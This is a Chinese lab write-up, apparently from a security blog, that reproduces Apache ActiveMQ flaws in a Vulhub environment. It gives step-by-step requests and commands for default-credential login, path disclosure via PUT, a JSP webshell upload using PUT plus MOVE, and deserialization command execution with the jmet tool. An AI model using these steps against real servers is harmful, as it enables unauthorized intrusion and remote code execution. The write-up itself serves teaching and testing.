【漏洞复现】Apache ActiveMQ相关漏洞复现

admin 2020年12月30日12:17:48评论109 views字数 2248阅读7分29秒阅读模式
【漏洞复现】Apache ActiveMQ相关漏洞复现
点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~【漏洞复现】Apache ActiveMQ相关漏洞复现【漏洞复现】Apache ActiveMQ相关漏洞复现

【漏洞复现】Apache ActiveMQ相关漏洞复现

这里是一名白帽的成长史~

【漏洞复现】Apache ActiveMQ相关漏洞复现

最近在攻防演习中用到ActiveMQ的漏洞进行getshell

 

今天就来复现一下它的一系列漏洞吧~

【漏洞复现】Apache ActiveMQ相关漏洞复现
【漏洞复现】Apache ActiveMQ相关漏洞复现


Part.1

环境准备


环境说明

Apache ActiveMQ是美国Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。


该中间件存在包括任意文件上传、反序列化等一系列历史漏洞。


【漏洞复现】Apache ActiveMQ相关漏洞复现


环境搭建

Vulhub是一个基于dockerdocker-compose的漏洞环境集合,配合docker进行使用。


首先根据官网说明,安装好vulhub

https://vulhub.org/

【漏洞复现】Apache ActiveMQ相关漏洞复现

通过vulhub进行漏洞环境搭建:

【漏洞复现】Apache ActiveMQ相关漏洞复现

查看容器端口映射关系,搭建成功:

【漏洞复现】Apache ActiveMQ相关漏洞复现

Web服务端口为8161,尝试访问主页:

http://192.168.3.129:8161
【漏洞复现】Apache ActiveMQ相关漏洞复现

【漏洞复现】Apache ActiveMQ相关漏洞复现


Part.2

漏洞复现


默认口令&未授权访问

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。


admin和api都需要登录后才能访问,fileserver无需登录。


攻防演习中遇到的环境,admin是存在未授权访问的:

【漏洞复现】Apache ActiveMQ相关漏洞复现


Vulhub搭建的环境则开启了登陆验证,访问:

http://192.168.3.129:8161/admin/
【漏洞复现】Apache ActiveMQ相关漏洞复现

但是可以通过默认口令进行登陆:

默认密码为admin/admin,登陆后可以看到版本为5.11.1

【漏洞复现】Apache ActiveMQ相关漏洞复现

Api同样需要登陆验证,访问:

http://192.168.3.129:8161/api/
【漏洞复现】Apache ActiveMQ相关漏洞复现

通过admin/admin进行登陆:

【漏洞复现】Apache ActiveMQ相关漏洞复现

Fileserver则无需登录即可访问:

【漏洞复现】Apache ActiveMQ相关漏洞复现


【漏洞复现】Apache ActiveMQ相关漏洞复现


物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,访问不存在的目录,Response会返回相应的物理路径信息,例如:

PUT /fileserver/a../%08
【漏洞复现】Apache ActiveMQ相关漏洞复现

如果存在未授权或默认口令,以下页面同样可以获取到物理路径:

http://192.168.3.129:8161/admin/test/systemProperties.jsp
【漏洞复现】Apache ActiveMQ相关漏洞复现



【漏洞复现】Apache ActiveMQ相关漏洞复现


PUT任意文件上传漏洞

fileserver是一个RESTful API接口,我们可以通过GET、PUT、MOVE等HTTP请求对其中存储的文件进行操作。


ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用,但可以在conf/jetty.xml中开启;在5.14.0版本以后,彻底删除了fileserver应用。


ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell:

PUT /fileserver/shell.jsp HTTP/1.1Host: 192.168.197.25:8161User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1Authorization: Basic YWRtaW46YWRtaW4=Content-Length: 26
this is jsp webshell code.

尝试上传一个txt文件,返回204则表示上传成功:

【漏洞复现】Apache ActiveMQ相关漏洞复现

//失败则会返回404或者500


访问上传的1.txt,成功访问:

【漏洞复现】Apache ActiveMQ相关漏洞复现

尝试通过PUT方法直接上传jsp,上传失败:

【漏洞复现】Apache ActiveMQ相关漏洞复现

先将后缀名改为txt进行上传,成功:

【漏洞复现】Apache ActiveMQ相关漏洞复现

通过MOVE方法,修改文件名后缀为jsp:

【漏洞复现】Apache ActiveMQ相关漏洞复现

上传成功,但是访问会发现fileserver目录不解析jsp:

【漏洞复现】Apache ActiveMQ相关漏洞复现

重新上传一个txt后缀的文件:

【漏洞复现】Apache ActiveMQ相关漏洞复现

通过MOVE方法移动至admin目录,并修改后缀为jsp:

【漏洞复现】Apache ActiveMQ相关漏洞复现

成功解析:

【漏洞复现】Apache ActiveMQ相关漏洞复现

//当然也可以移动到api目录


【漏洞复现】Apache ActiveMQ相关漏洞复现


反序列化漏洞

工具下载地址:

https://github.com/matthiaskaiser/jmet


ActiveMQ默认对外开启61616端口,该端口为ActiveMQ消息队列端口。


通过61616端口能将构造好的,可执行命令的序列化对象,作为消息发送给服务器。


当管理员访问Web管理页面并读取消息时,则会触发该漏洞。


通过该漏洞尝试ping dnslog:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping xxxxx" -Yp ROME 192.168.3.129 61616
【漏洞复现】Apache ActiveMQ相关漏洞复现

访问web管理页面,读取消息:

http://192.168.3.129:8161/admin/browse.jsp?JMSDestination=event
【漏洞复现】Apache ActiveMQ相关漏洞复现


点击查看这条消息即可触发命令执行:

【漏洞复现】Apache ActiveMQ相关漏洞复现

此时DNSlog已收到请求:

【漏洞复现】Apache ActiveMQ相关漏洞复现

命令执行成功~

【漏洞复现】Apache ActiveMQ相关漏洞复现


Part.3


好啦,以上就是今天的全部内容了~

【漏洞复现】Apache ActiveMQ相关漏洞复现

如果有问题,欢迎到公众号:一名白帽的成长史留言哦~


Peace!【漏洞复现】Apache ActiveMQ相关漏洞复现

【漏洞复现】Apache ActiveMQ相关漏洞复现

“在看”我吗?

【漏洞复现】Apache ActiveMQ相关漏洞复现

本文始发于微信公众号(一名白帽的成长史):【漏洞复现】Apache ActiveMQ相关漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日12:17:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Apache ActiveMQ相关漏洞复现https://cn-sec.com/archives/226311.html

发表评论

匿名网友 填写信息